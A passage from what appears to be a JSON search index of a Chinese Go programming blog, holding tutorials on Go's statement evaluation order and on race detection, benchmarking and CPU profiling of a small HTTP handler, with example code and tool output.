darwin_amd64。示例代码在这里可以下载。\n我就是这样一种人：对任何自己感兴趣且有极大热情去做的事情都喜欢刨根问底，彻底全面地了解其中细节，否则我就会有一种“不安全 感”。我不知道在心理学范畴这样的我属于那种类别^_^。\n","permalink":"https://tonybai.com/2015/09/17/7-things-you-may-not-pay-attation-to-in-go/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e以简洁著称，但简洁中不乏值得玩味的小细节。这些小细节不如goroutine、interface和channel那样\u0026quot;高大上\u0026quot;，\u0026ldquo;屌 丝\u0026quot;得可能不经常被人注意到，但它们却对理解\u003ca href=\"http://golang.org/\"\u003eGo语言\u003c/a\u003e有着重要的作用。这里想挑出一些和大家一起通过详实的例子来逐一展开和理解。本文内容较为基础，适合初学者，高手可飘过:)\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一、源文件字符集****和字符集编码\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eGo源码文件默认采用Unicode字符集，Unicode**码点(code point)\u003cstrong\u003e和内存中\u003c/strong\u003e字节序列（byte sequence）**的变换实现使用了UTF-8：一种变长多字节编码，同时也是一种事实字符集编码标准，为Linux、MacOSX 上的默认字符集编码，因此使用Linux或MacOSX进行Go程序开发，你会省去很多字符集转换方面的烦恼。但如果你是在Windows上使用 默认编辑器编辑Go源码文本，当你编译以下代码时会遇到编译错误：\u003c/p\u003e","title":"关于Go，你可能不注意的7件事"},{"content":"Golang在变量声明、初始化以及赋值语句上照比C语言有了许多改进：\na) 支持在同一行声明多个变量\nvar a, b, c int\nb) 支持在同一行初始化多个变量（不同类型也可以）\nvar a, b, c = 5, \u0026ldquo;hello\u0026rdquo;, 3.45\na, b, c := 5, \u0026ldquo;hello\u0026rdquo;, 3.45 (short variable declaration)\nc) 支持在同一行对多个变量进行赋值（在声明后且不同类型也可以）\na, b, c = 5, \u0026ldquo;hello\u0026rdquo;, 3.45\n这种语法糖我们是笑纳的，毕竟人生苦短，少写一行是一行啊^_^。\n但这种语法糖却给我们带来了一些令人困惑的问题！比如下面这个就是Rob Pike在一个talk中slide(Go Course Day2)中的一个问题：\nn0, n1 = n0 + n1, n0\nor：\nn0, n1 = op(n0,n1), n0\nn0, n1的值在上述语句执行完毕后到底为多少呢？\n显然这个问题涉及到Go语言的语句求值顺序(evaluation order)。求值序在任何一门编程语言中都是比较难缠的，很多情形下，语言规范给出的答案都是“undefined（未定义）” or \u0026ldquo;not specified\u0026rdquo; or “依赖实现”，尤其是对于哪些模棱两可的写法，就如Rob Pike给出的那个问题。\n我们要想搞清楚Go中的求值顺序，我们需要求助于Go language specification，Go spec与Go发行版一起发布，你可以启动一个godoc web server(godoc -http=:6060，然后访问localhost:6060/ref/spec)查看go language specification。Go language specification专门有一个小节/ref/spec#Order_of_evaluation对求值顺序做了说明。\n在Go specs中，有这样三点陈述：\n1、变量声明(variable declaration)中的初始化表达式(initialization expressions)的求值顺序(evaluation order)由初始化依赖(initialization dependencies)决定；但对于初始化表达式内部的操作数的求值需要按照2中的顺序：从左到右；\n2、在非变量初始化语句中，对表达式、赋值语句或返回语句中的操作数进行求值时，操作数中包含的函数(function)调用、方法(method)调用和通信操作(主要针对channel)将按语法从左到右的顺序求值。\n3、赋值语句求值分为两个阶段，第一阶段是等号左边的index expressions、pointer indirections和等号右边的表达式中的操作数的求值顺序按照2中从左到右的顺序；第二阶段按从左到右的顺序对变量赋值。\n下面我们就分别理解一下这三点。\n一、变量声明中初始化表达式的求值顺序\n带初始化表达式的变量声明的形式如下：\nvar a, b, c = expr1, expr2, expr3 //包级别或函数/方法内部\nor\na, b, c := expr1, expr2, expr3 //仅函数/方法内部\n根据lang specs说明，求值顺序是由初始化依赖（initialization dependencies）规则决定的。那初始化依赖规则是什么呢？在Golang specs中也有专门章节说明：ref/spec#Package_initialization。\n初始化依赖规则总结一下，大致有如下几条：\n1、包中，包级别变量的初始化顺序按照声明先后的顺序，但如果某个变量(比如a)的初始化表达式中依赖其他变量(比如b)，那么变量a的初始化顺序在变量b后面。\n2、对于未初始化的，且不含有对应初始化表达式或其初始化表达式不依赖任何未初始化变量的变量，我们称之为\u0026quot;ready for initialization\u0026quot;变量。初始化就是按照声明顺序重复执行对下一个变量的初始化过程，直到没有\u0026quot;ready for initialization\u0026quot;变量为止。\n3、如果初始化过程完毕后依然有变量处于未初始化状态，那程序有语法错误。\n4、多个处于不同文件中的变量的声明顺序依赖编译器处理文件的顺序，先处理的文件中的变量的声明顺序先于后处理的文件中的所有变量。\n5、依赖分析以包为单位执行，只有位于同一个包中的被依赖的变量、函数、方法才会被考虑。\n规则是抽象难懂的，例子更直观易理解，我们看一个golang spec中的例子，并使用上述规则进行分析。实验环境：go 1.5, amd64,Darwin Kernel Version 13.1.0。\n//golang-statements-evaluating-order/example1.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nvar (\na = c + b\nb = f()\nc = f()\nd = 3\n)\nfunc f() int {\nd++\nreturn d\n}\nfunc main() {\nfmt.Println(a, b, c, d)\n}\n我们来分析一下程序执行后的a, b, c, d四个变量的结果值，不过不同的初始化顺序会导致结果值不同，因此分析四个变量的初始化顺序是至关重要的。\n变量a, b, c, d的初始化过程如下：\n1、根据规则，初始化按照变量声明先后顺序进行，因此先来分析变量a，a初始化表达式依赖b 和c；因此变量a的初始化次序排在b、c的后面；\n2、按照a的初始化右值表达式，c、b在右值表达式中的出现顺序是c先于b；\n3、c是否是一个ready for initialization变量呢？我们看到c依赖f这个函数，而f这个函数则依赖变量d的初始化，因此d排在c之前；\n4、我们来看变量d，\u0026ldquo;d = 3\u0026rdquo;，d未初始化且不含有初始化表达式，因此d是一个ready for initialization变量，我们可以从d开始初始化了。至此四个变量的初始化顺序排定 d -\u0026gt; c -\u0026gt; b -\u0026gt; a；(这块儿与spec中分析有差异，但从运行结果来看，应该是这个顺序;关于这个spec的issue参见#12369)\n5、d初始化为3，此时已初始化变量集合[d=3]；\n6、接着初始化c：c = f()，因此c = 4（此时d=4），此时已初始化变量集合[c=4,d=4]；\n7、接下来轮到b：b = f()，因此b = 5 （此时d = 5)，此时已初始化变量集合[b=5,c=4,d=5]；\n8、最后初始化a： a = c + b，在已初始化变量集合中我们可以找到b和c，因此a= 9，这样四个变量到此均已初始化；\n9、经过分析：程序执行的结果应该是9，5，4，5。\n我们来执行一下这个程序，验证一下我们的分析结果是否正确：\n$go run example1.go\n9 5 4 5\n我们再来看一个例子，也是golang specs中的例子，我们稍作改造，并把它设定为example2：\n//golang-statements-evaluating-order/example2.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nvar a, b, c = f() + v(), g(), sqr(u()) + v()\nfunc f() int {\nfmt.Println(\u0026ldquo;calling f\u0026rdquo;)\nreturn c\n}\nfunc g() int {\nfmt.Println(\u0026ldquo;calling g\u0026rdquo;)\nreturn a\n}\nfunc sqr(x int) int {\nfmt.Println(\u0026ldquo;calling sqr\u0026rdquo;)\nreturn x * x\n}\nfunc v() int {\nfmt.Println(\u0026ldquo;calling v\u0026rdquo;)\nreturn 1\n}\nfunc u() int {\nfmt.Println(\u0026ldquo;calling u\u0026rdquo;)\nreturn 2\n}\nfunc main() {\nfmt.Println(a, b, c)\n}\n同样根据变量初始化依赖规则对这个例子进行分析：\n1、按照变量声明顺序，先初始化a：a= f() + v()，f()依赖变量c；v不依赖任何变量，因此变量c的初始化顺序应该在a变量前：c -\u0026gt; a。\n2、分析c：c = sqr(u()) + v()；u、sqr、v三个函数不依赖任何变量，因此c处于ready for initialization，于是对c进行初始化，函数执行顺序(从左到右)为：u() -\u0026gt; sqr() -\u0026gt; v(); 此时已初始化变量集合：[c = 5]；\n3、回到a：a = f() + v()，c初始化后，a也处理ready for initialization，于是对a初始化，函数执行顺序为：f() -\u0026gt; v()，此时已初始化变量集合：[c=5, a= 6]；\n4、按照变量声明次序，接下来轮到变量b：b= g()，而g()依赖a，a已经初始化完毕了，因此b也是ready for initialization，于是对b初始化，函数执行次序为：g()，至此已初始化变量集合：[c=5, a=6, b=6]。\n5、经过分析：程序执行的结果应该是6，6，5。\n我们来执行一下这个程序，验证一下我们的分析结果是否正确：\n$go run example2.go\ncalling u\ncalling sqr\ncalling v\ncalling f\ncalling v\ncalling g\n6 6 5\n二、非变量初始化语句中的求值顺序\n前面提到过：在非变量初始化语句中，对表达式、赋值语句或返回语句中的操作数进行求值时，操作数中包含的函数(function)调用、方法(method)调用和通信操作(主要针对channel)将按语法从左到右的顺序求值。\n我们同样来看一个例子：example3.go。\n//golang-statements-evaluating-order/example3.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc f() int {\nfmt.Println(\u0026ldquo;calling f\u0026rdquo;)\nreturn 1\n}\nfunc g(a, b, c int) int {\nfmt.Println(\u0026ldquo;calling g\u0026rdquo;)\nreturn 2\n}\nfunc h() int {\nfmt.Println(\u0026ldquo;calling h\u0026rdquo;)\nreturn 3\n}\nfunc i() int {\nfmt.Println(\u0026ldquo;calling i\u0026rdquo;)\nreturn 1\n}\nfunc j() int {\nfmt.Println(\u0026ldquo;calling j\u0026rdquo;)\nreturn 1\n}\nfunc k() bool {\nfmt.Println(\u0026ldquo;calling k\u0026rdquo;)\nreturn true\n}\nfunc main() {\nvar y = []int{11, 12, 13}\nvar x = []int{21, 22, 23}\nvar c chan int = make(chan int)\ngo func() {\nc \u0026lt;- 1\n}()\ny[f()], _ = g(h(), i()+x[j()], \u0026lt;-c), k()\nfmt.Println(y)\n}\ny[f()], _ = g(h(), i()+x[j()], \u0026lt;-c), k() 这行语句是赋值语句，但赋值语句的操作数中包含函数调用、channel操作，按照规则，这些函数调用、channel操作按从左到右顺序估值。\n1、按照从左到右顺序，第一个是y[f()]中的f()；\n2、接下来是g()，g()的参数列表依然是一个赋值操作，因此其涉及到的函数调用顺序为h()， i()，j()，\u0026lt;-c，因此实际上的顺序为h() –\u0026gt; i()–\u0026gt; j() –\u0026gt; c操作 -\u0026gt; g()；\n3、最后是k(),因此完整的调用顺序是：f()-\u0026gt; h() –\u0026gt; i()–\u0026gt; j() –\u0026gt; c操作 -\u0026gt; g() –\u0026gt; k()。\n实际运行情况如下：\n$go run example3.go\ncalling f\ncalling h\ncalling i\ncalling j\ncalling g\ncalling k\n[11 2 13]\n三、赋值语句的求值顺序\n我们再回到前面Rob Pike那个问题：\nn0, n1 = n0 + n1, n0\nor：\nn0, n1 = op(n0, n1), n0\n这是一个赋值语句，根据规则3，我们对等号两端的表达式的操作数采用从左到右的求值顺序。\n我们假定初值：\nn0, n1 = 1, 2\n1、第一阶段：等号两端表达式求值，上述问题中，只有右端有n0+n1和n0两个表达式，但表达式的操作数(n0，n1)都是初始化过后的了，因此直接将值带入，得到求值结果。求值后，语句可以看成：n0, n1 = 3, 1；\n2、第二阶段：赋值。n0 =3， n1 = 1\n//golang-statements-evaluating-order/example4.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc example1() {\nn0, n1 := 1, 2\nn0, n1 = n0+n1, n0\nfmt.Println(n0, n1)\n}\nfunc op(a, b int) int {\nreturn a + b\n}\nfunc example2() {\nn0, n1 := 1, 2\nn0, n1 = op(n0, n1), n0\nfmt.Println(n0, n1)\n}\nfunc main() {\nexample1()\nexample2()\n}\n$go run example4.go\n3 1\n3 1\n四、小结\n虽说理解了规则，但实际工作中我们还是尽量不要写出像：**\u0026ldquo;var a, b, c = f() + v(), g(), sqr(u()) + v()\u0026rdquo;**这样复杂、难以让人理解的语句。必要的话，拆分成多行就好了，还可以增加些代码量（如果你的公司是以代码量为评价绩效指标之一的），得饶人处且饶人啊，烧脑的语句还是尽量避免为好。\n以上实验代码在这里可以下载到。\n五、参考资料\nThe Go Programming Language Specification (Version of August 5, 2015)\n","permalink":"https://tonybai.com/2015/08/27/understanding-go-statements-evaluating-order/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/go\"\u003eGolang\u003c/a\u003e在变量声明、初始化以及赋值语句上照比C语言有了许多改进：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ea) 支持在同一行声明多个变量\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003evar a, b, c int\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eb) 支持在同一行初始化多个变量（不同类型也可以）\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003evar a, b, c = 5, \u0026ldquo;hello\u0026rdquo;, 3.45\u003cbr\u003e\na, b, c := 5, \u0026ldquo;hello\u0026rdquo;, 3.45 (short variable declaration)\u003c/p\u003e","title":"理解Golang语句中的求值顺序"},{"content":"Brad Fitzpatrick在YAPC Asia 2015（Yet Another Perl Conference）上做了一次技术分享，题为：\u0026quot;Go Debugging, Profiling, and Optimization\u0026quot;。个人感觉这篇分享中价值最大的是BradFitz现场演示的一个有关如何对Go程序进行调试、分析和优化的 Demo，Brad将demo上传到了他个人在github.com的repo中，但不知为何，repo中的代码似乎与repo里talk.md中的说明不甚一致(btw，我并没有看video)。于 是打算在这里按照Brad的思路重新走一遍demo的演示流程(所有演示代码在这里可以下载到)。\n一、实验环境\n$uname -a\nLinux pc-tony 3.13.0-61-generic #100~precise1-Ubuntu SMP Wed Jul 29 12:06:40 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux\n**注意:**在Darwin或Windows下，profile的结果可能与这里有很大不同(甚至完全不一样的输出和瓶颈热点)。\n$go version\ngo version go1.5 linux/amd64\n$ go env\nGOARCH=\u0026ldquo;amd64\u0026rdquo;\nGOBIN=\u0026quot;/home1/tonybai/.bin/go15/bin\u0026quot;\nGOEXE=\u0026quot;\u0026quot;\nGOHOSTARCH=\u0026ldquo;amd64\u0026rdquo;\nGOHOSTOS=\u0026ldquo;linux\u0026rdquo;\nGOOS=\u0026ldquo;linux\u0026rdquo;\nGOPATH=\u0026quot;/home1/tonybai/proj/GoProjects\u0026quot;\nGORACE=\u0026quot;\u0026quot;\nGOROOT=\u0026quot;/home1/tonybai/.bin/go15\u0026quot;\nGOTOOLDIR=\u0026quot;/home1/tonybai/.bin/go15/pkg/tool/linux_amd64\u0026quot;\nGO15VENDOREXPERIMENT=\u0026ldquo;1\u0026rdquo;\nCC=\u0026ldquo;gcc\u0026rdquo;\nGOGCCFLAGS=\u0026quot;-fPIC -m64 -pthread -fmessage-length=0\u0026quot;\nCXX=\u0026ldquo;g++\u0026rdquo;\nCGO_ENABLED=\u0026ldquo;1\u0026rdquo;\n代码基于Brad的github.com/bradfitz/talk-yapc-asia-2015。\n二、待优化程序(step0)\n待优化程序，也就是原始程序，我们放在step0中：\n//go-debug-profile-optimization/step0/demo.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;log\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n\u0026ldquo;regexp\u0026rdquo;\n)\nvar visitors int\nfunc handleHi(w http.ResponseWriter, r *http.Request) {\nif match, _ := regexp.MatchString(`^\\w*$`, r.FormValue(\u0026ldquo;color\u0026rdquo;)); !match {\nhttp.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\nreturn\n}\nvisitors++\nw.Header().Set(\u0026ldquo;Content-Type\u0026rdquo;, \u0026ldquo;text/html; charset=utf-8\u0026rdquo;)\nw.Write([]byte(\u0026quot;Welcome!You are visitor number \u0026quot; + fmt.Sprint(visitors) + \u0026ldquo;!\u0026rdquo;))\n}\nfunc main() {\nlog.Printf(\u0026ldquo;Starting on port 8080\u0026rdquo;)\nhttp.HandleFunc(\u0026quot;/hi\u0026quot;, handleHi)\nlog.Fatal(http.ListenAndServe(\u0026ldquo;127.0.0.1:8080\u0026rdquo;, nil))\n}\n$go run demo.go\n2015/08/25 09:42:35 Starting on port 8080\n在浏览器输入：http://localhost:8080/hi\n一切顺利的话，页面会显示：\nWelcome!\nYou are visitor number 1!\n三、添加测试代码\n按照talk.md中的说明，brad repo中demo中根本没有测试代码(commit 2427d0faa12ed1fb05f1e6a1e69307c11259c2b2)。\n于是我根据作者的意图，新增了demo_test.go，采用TestHandleHi_Recorder和TestHandleHi_TestServer对HandleHi进行测试：\n//go-debug-profile-optimization/step0/demo_test.go\npackage main\nimport (\n\u0026ldquo;bufio\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n\u0026ldquo;net/http/httptest\u0026rdquo;\n\u0026ldquo;strings\u0026rdquo;\n\u0026ldquo;testing\u0026rdquo;\n)\nfunc TestHandleHi_Recorder(t *testing.T) {\nrw := httptest.NewRecorder()\nhandleHi(rw, req(t, \u0026ldquo;GET / HTTP/1.0\\r\\n\\r\\n\u0026rdquo;))\nif !strings.Contains(rw.Body.String(), \u0026ldquo;visitor number\u0026rdquo;) {\nt.Errorf(\u0026ldquo;Unexpected output: %s\u0026rdquo;, rw.Body)\n}\n}\nfunc req(t *testing.T, v string) *http.Request {\nreq, err := http.ReadRequest(bufio.NewReader(strings.NewReader(v)))\nif err != nil {\nt.Fatal(err)\n}\nreturn req\n}\nfunc TestHandleHi_TestServer(t *testing.T) {\nts := httptest.NewServer(http.HandlerFunc(handleHi))\ndefer ts.Close()\nres, err := http.Get(ts.URL)\nif err != nil {\nt.Error(err)\nreturn\n}\nif g, w := res.Header.Get(\u0026ldquo;Content-Type\u0026rdquo;), \u0026ldquo;text/html; charset=utf-8\u0026rdquo;; g != w {\nt.Errorf(\u0026ldquo;Content-Type = %q; want %q\u0026rdquo;, g, w)\n}\nslurp, err := ioutil.ReadAll(res.Body)\ndefer res.Body.Close()\nif err != nil {\nt.Error(err)\nreturn\n}\nt.Logf(\u0026ldquo;Got: %s\u0026rdquo;, slurp)\n}\n$ go test -v\n=== RUN TestHandleHi_Recorder\n— PASS: TestHandleHi_Recorder (0.00s)\n=== RUN TestHandleHi_TestServer\n— PASS: TestHandleHi_TestServer (0.00s)\ndemo_test.go:45: Got: Welcome!You are visitor number 2!\nPASS\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step0 0.007s\n测试通过！\n至此，step0使命结束。\n四、Race Detector**(竞态分析）**\n并发设计使得程序可以更好更有效的利用现代处理器的多核心。但并发设计很容易引入竞态，导致严重bug。Go程序中竞态就是当多个goroutine并发 访问某共享数据且未使用同步机制时，且至少一个goroutine进行了写操作。不过go工具自带race分析功能。在分析优化step0中demo代码 前，我们先要保证demo代码中不存在竞态。\n工具的使用方法就是在go test后加上-race标志，在step0目录下：\n$ go test -v -race\n=== RUN TestHandleHi_Recorder\n— PASS: TestHandleHi_Recorder (0.00s)\n=== RUN TestHandleHi_TestServer\n— PASS: TestHandleHi_TestServer (0.00s)\ndemo_test.go:45: Got: Welcome!You are visitor number 2!\nPASS\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step0 1.012s\n-race通过做运行时分析做竞态分析，虽然不存在误报，但却存在实际有竞态，但工具没发现的情况。接下来我们改造一下测试代码，让test并发起来：\n向step1(copy自step0)中demo_test.go中添加一个test method:\n//go-debug-profile-optimization/step1/demo_test.go\n… …\nfunc TestHandleHi_TestServer_Parallel(t *testing.T) {\nts := httptest.NewServer(http.HandlerFunc(handleHi))\ndefer ts.Close()\nvar wg sync.WaitGroup\nfor i := 0; i \u0026lt; 2; i++ {\nwg.Add(1)\ngo func() {\ndefer wg.Done()\nres, err := http.Get(ts.URL)\nif err != nil {\nt.Error(err)\nreturn\n}\nif g, w := res.Header.Get(\u0026ldquo;Content-Type\u0026rdquo;), \u0026ldquo;text/html; charset=utf-8\u0026rdquo;; g != w {\nt.Errorf(\u0026ldquo;Content-Type = %q; want %q\u0026rdquo;, g, w)\n}\nslurp, err := ioutil.ReadAll(res.Body)\ndefer res.Body.Close()\nif err != nil {\nt.Error(err)\nreturn\n}\nt.Logf(\u0026ldquo;Got: %s\u0026rdquo;, slurp)\n}()\n}\nwg.Wait()\n}\n… …\n执行竞态test：\n$ go test -v -race\n=== RUN TestHandleHi_Recorder\n— PASS: TestHandleHi_Recorder (0.00s)\n=== RUN TestHandleHi_TestServer\n— PASS: TestHandleHi_TestServer (0.00s)\ndemo_test.go:46: Got: Welcome!You are visitor number 2!\n=== RUN TestHandleHi_TestServer_Parallel\n==================\nWARNING: DATA RACE\nRead by goroutine 22:\n_/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step1.handleHi()\n/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step1/demo.go:17 +0xf5\nnet/http.HandlerFunc.ServeHTTP()\n/tmp/workdir/go/src/net/http/server.go:1422 +0×47\nnet/http/httptest.(*waitGroupHandler).ServeHTTP()\n/tmp/workdir/go/src/net/http/httptest/server.go:200 +0xfe\nnet/http.serverHandler.ServeHTTP()\n/tmp/workdir/go/src/net/http/server.go:1862 +0×206\nnet/http.(*conn).serve()\n/tmp/workdir/go/src/net/http/server.go:1361 +0x117c\nPrevious write by goroutine 25:\n_/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step1.handleHi()\n/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step1/demo.go:17 +0×111\nnet/http.HandlerFunc.ServeHTTP()\n/tmp/workdir/go/src/net/http/server.go:1422 +0×47\nnet/http/httptest.(*waitGroupHandler).ServeHTTP()\n/tmp/workdir/go/src/net/http/httptest/server.go:200 +0xfe\nnet/http.serverHandler.ServeHTTP()\n/tmp/workdir/go/src/net/http/server.go:1862 +0×206\nnet/http.(*conn).serve()\n/tmp/workdir/go/src/net/http/server.go:1361 +0x117c\nGoroutine 22 (running) created at:\nnet/http.(*Server).Serve()\n/tmp/workdir/go/src/net/http/server.go:1910 +0×464\nGoroutine 25 (running) created at:\nnet/http.(*Server).Serve()\n/tmp/workdir/go/src/net/http/server.go:1910 +0×464\n==================\n— PASS: TestHandleHi_TestServer_Parallel (0.00s)\ndemo_test.go:71: Got: Welcome!You are visitor number 3!\ndemo_test.go:71: Got: Welcome!You are visitor number 4!\nPASS\nFound 1 data race(s)\nexit status 66\nFAIL _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step1 1.023s\n工具发现demo.go第17行：\nvisitors++\n是一处潜在的竞态条件。\nvisitors被多个goroutine访问但未采用同步机制。\n既然发现了竞态条件，我们就需要fix it。有多种fix方法可选：\n1、使用channel\n2、使用Mutex\n3、使用atomic\nBrad使用了atomic：\n//go-debug-profile-optimization/step1/demo.go\n… …\nvar visitors int64 // must be accessed atomically\nfunc handleHi(w http.ResponseWriter, r *http.Request) {\nif match, _ := regexp.MatchString(`^\\w*$`, r.FormValue(\u0026ldquo;color\u0026rdquo;)); !match {\nhttp.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\nreturn\n}\nvisitNum := atomic.AddInt64(\u0026amp;visitors, 1)\nw.Header().Set(\u0026ldquo;Content-Type\u0026rdquo;, \u0026ldquo;text/html; charset=utf-8\u0026rdquo;)\nw.Write([]byte(\u0026quot;Welcome!You are visitor number \u0026quot; + fmt.Sprint(visitNum) + \u0026ldquo;!\u0026rdquo;))\n}\n… …\n再做一次测试：\n$ go test -v -race\n=== RUN TestHandleHi_Recorder\n— PASS: TestHandleHi_Recorder (0.00s)\n=== RUN TestHandleHi_TestServer\n— PASS: TestHandleHi_TestServer (0.00s)\ndemo_test.go:46: Got: Welcome!You are visitor number 2!\n=== RUN TestHandleHi_TestServer_Parallel\n— PASS: TestHandleHi_TestServer_Parallel (0.00s)\ndemo_test.go:71: Got: Welcome!You are visitor number 3!\ndemo_test.go:71: Got: Welcome!You are visitor number 4!\nPASS\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step1 1.020s\n竞态条件被消除了！\n至此，step1结束了使命！\n**五、**CPU Profiling\n要做CPU Profilling，我们需要benchmark数据，Go test提供benchmark test功能，我们只要写对应的Benchmark测试方法即可：\n//go-debug-profile-optimization/step2/demo_test.go\n… …\nfunc BenchmarkHi(b *testing.B) {\nb.ReportAllocs()\nreq, err := http.ReadRequest(bufio.NewReader(strings.NewReader(\u0026ldquo;GET / HTTP/1.0\\r\\n\\r\\n\u0026rdquo;)))\nif err != nil {\nb.Fatal(err)\n}\nfor i := 0; i \u0026lt; b.N; i++ {\nrw := httptest.NewRecorder()\nhandleHi(rw, req)\n}\n}\n… …\n$ go test -v -run=^$ -bench=.\nPASS\nBenchmarkHi-4 100000 14808 ns/op 4961 B/op 81 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step2 1.648s\n开始CPU Profiling：\n$ go test -v -run=^$ -bench=^BenchmarkHi$ -benchtime=2s -cpuprofile=prof.cpu\nPASS\nBenchmarkHi-4 200000 14679 ns/op 4961 B/op 81 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step2 3.096s\n执行完benchmark test后，step2目录下出现两个新文件prof.cpu和step2.test，这两个文件将作为后续go tool pprof的输入：\n$ls\ndemo.go demo_test.go prof.cpu step2.test*\n使用go profile viewer工具：\n$ go tool pprof step2.test prof.cpu\nEntering interactive mode (type \u0026ldquo;help\u0026rdquo; for commands)\n(pprof) top\n1830ms of 3560ms total (51.40%)\nDropped 53 nodes (cum \u0026lt;= 17.80ms)\nShowing top 10 nodes out of 133 (cum \u0026gt;= 1290ms)\nflat flat% sum% cum cum%\n480ms 13.48% 13.48% 980ms 27.53% runtime.growslice\n360ms 10.11% 23.60% 700ms 19.66% runtime.mallocgc\n170ms 4.78% 28.37% 170ms 4.78% runtime.heapBitsSetType\n170ms 4.78% 33.15% 200ms 5.62% runtime.scanblock\n120ms 3.37% 36.52% 1100ms 30.90% regexp.makeOnePass.func2\n120ms 3.37% 39.89% 550ms 15.45% runtime.newarray\n110ms 3.09% 42.98% 300ms 8.43% runtime.makeslice\n110ms 3.09% 46.07% 220ms 6.18% runtime.mapassign1\n100ms 2.81% 48.88% 100ms 2.81% runtime.futex\n90ms 2.53% 51.40% 1290ms 36.24% regexp.makeOnePass\n(pprof) top –cum\n0.18s of 3.56s total ( 5.06%)\nDropped 53 nodes (cum \u0026lt;= 0.02s)\nShowing top 10 nodes out of 133 (cum \u0026gt;= 1.29s)\nflat flat% sum% cum cum%\n0 0% 0% 3.26s 91.57% runtime.goexit\n0.02s 0.56% 0.56% 2.87s 80.62% BenchmarkHi\n0 0% 0.56% 2.87s 80.62% testing.(*B).launch\n0 0% 0.56% 2.87s 80.62% testing.(*B).runN\n0.03s 0.84% 1.40% 2.80s 78.65% step2.handleHi\n0.01s 0.28% 1.69% 2.46s 69.10% regexp.MatchString\n0 0% 1.69% 2.24s 62.92% regexp.Compile\n0 0% 1.69% 2.24s 62.92% regexp.compile\n0.03s 0.84% 2.53% 1.56s 43.82% regexp.compileOnePass\n0.09s 2.53% 5.06% 1.29s 36.24% regexp.makeOnePass\n(pprof) list handleHi\nTotal: 3.56s\nROUTINE ======================== handleHi in go-debug-profile-optimization/step2/demo.go\n30ms 2.80s (flat, cum) 78.65% of Total\n. . 9:)\n. . 10:\n. . 11:var visitors int64 // must be accessed atomically\n. . 12:\n. . 13:func handleHi(w http.ResponseWriter, r *http.Request) {\n. 2.47s 14: if match, _ := regexp.MatchString(`^\\w*$`, r.FormValue(\u0026ldquo;color\u0026rdquo;)); !match {\n. . 15: http.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\n. . 16: return\n. . 17: }\n10ms 20ms 18: visitNum := atomic.AddInt64(\u0026amp;visitors, 1)\n10ms 90ms 19: w.Header().Set(\u0026ldquo;Content-Type\u0026rdquo;, \u0026ldquo;text/html; charset=utf-8\u0026rdquo;)\n10ms 20ms 20: w.Write([]byte(\u0026quot;Welcome!You are visitor number \u0026quot; + fmt.Sprint(visitNum) + \u0026ldquo;!\u0026rdquo;))\n. . 22:}\n. . 23:\n. . 24:func main() {\n. . 25: log.Printf(\u0026ldquo;Starting on port 8080\u0026rdquo;)\n. . 26: http.HandleFunc(\u0026quot;/hi\u0026quot;, handleHi)\n(pprof)\n从top –cum来看，handleHi消耗cpu较大，而handleHi中，又是MatchString耗时最长。\n六、第一次优化\n前面已经发现MatchString较为耗时，优化手段：让正则式仅编译一次(step3)：\n// go-debug-profile-optimization/step3/demo.go\n… …\nvar visitors int64 // must be accessed atomically\nvar rxOptionalID = regexp.MustCompile(`^\\d*$`)\nfunc handleHi(w http.ResponseWriter, r *http.Request) {\nif !rxOptionalID.MatchString(r.FormValue(\u0026ldquo;color\u0026rdquo;)) {\nhttp.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\nreturn\n}\nvisitNum := atomic.AddInt64(\u0026amp;visitors, 1)\nw.Header().Set(\u0026ldquo;Content-Type\u0026rdquo;, \u0026ldquo;text/html; charset=utf-8\u0026rdquo;)\nw.Write([]byte(\u0026quot;Welcome!You are visitor number \u0026quot; + fmt.Sprint(visitNum) + \u0026ldquo;!\u0026rdquo;))\n}\n… …\n运行一下bench：\n$ go test -bench=.\nPASS\nBenchmarkHi-4 1000000 1678 ns/op 720 B/op 9 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step3 1.710s\n对比之前在step2中运行的bench结果：\n$ go test -v -run=^$ -bench=.\nPASS\nBenchmarkHi-4 100000 14808 ns/op 4961 B/op 81 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step2 1.648s\n耗时相同，但优化后的bench运行了100w次，而之前的Bench运行10w次，相当于性能提高10倍。\n再看看cpu prof结果：\n$ go test -v -run=^$ -bench=^BenchmarkHi$ -benchtime=3s -cpuprofile=prof.cpu\nPASS\nBenchmarkHi-4 3000000 1640 ns/op 720 B/op 9 allocs/op\nok 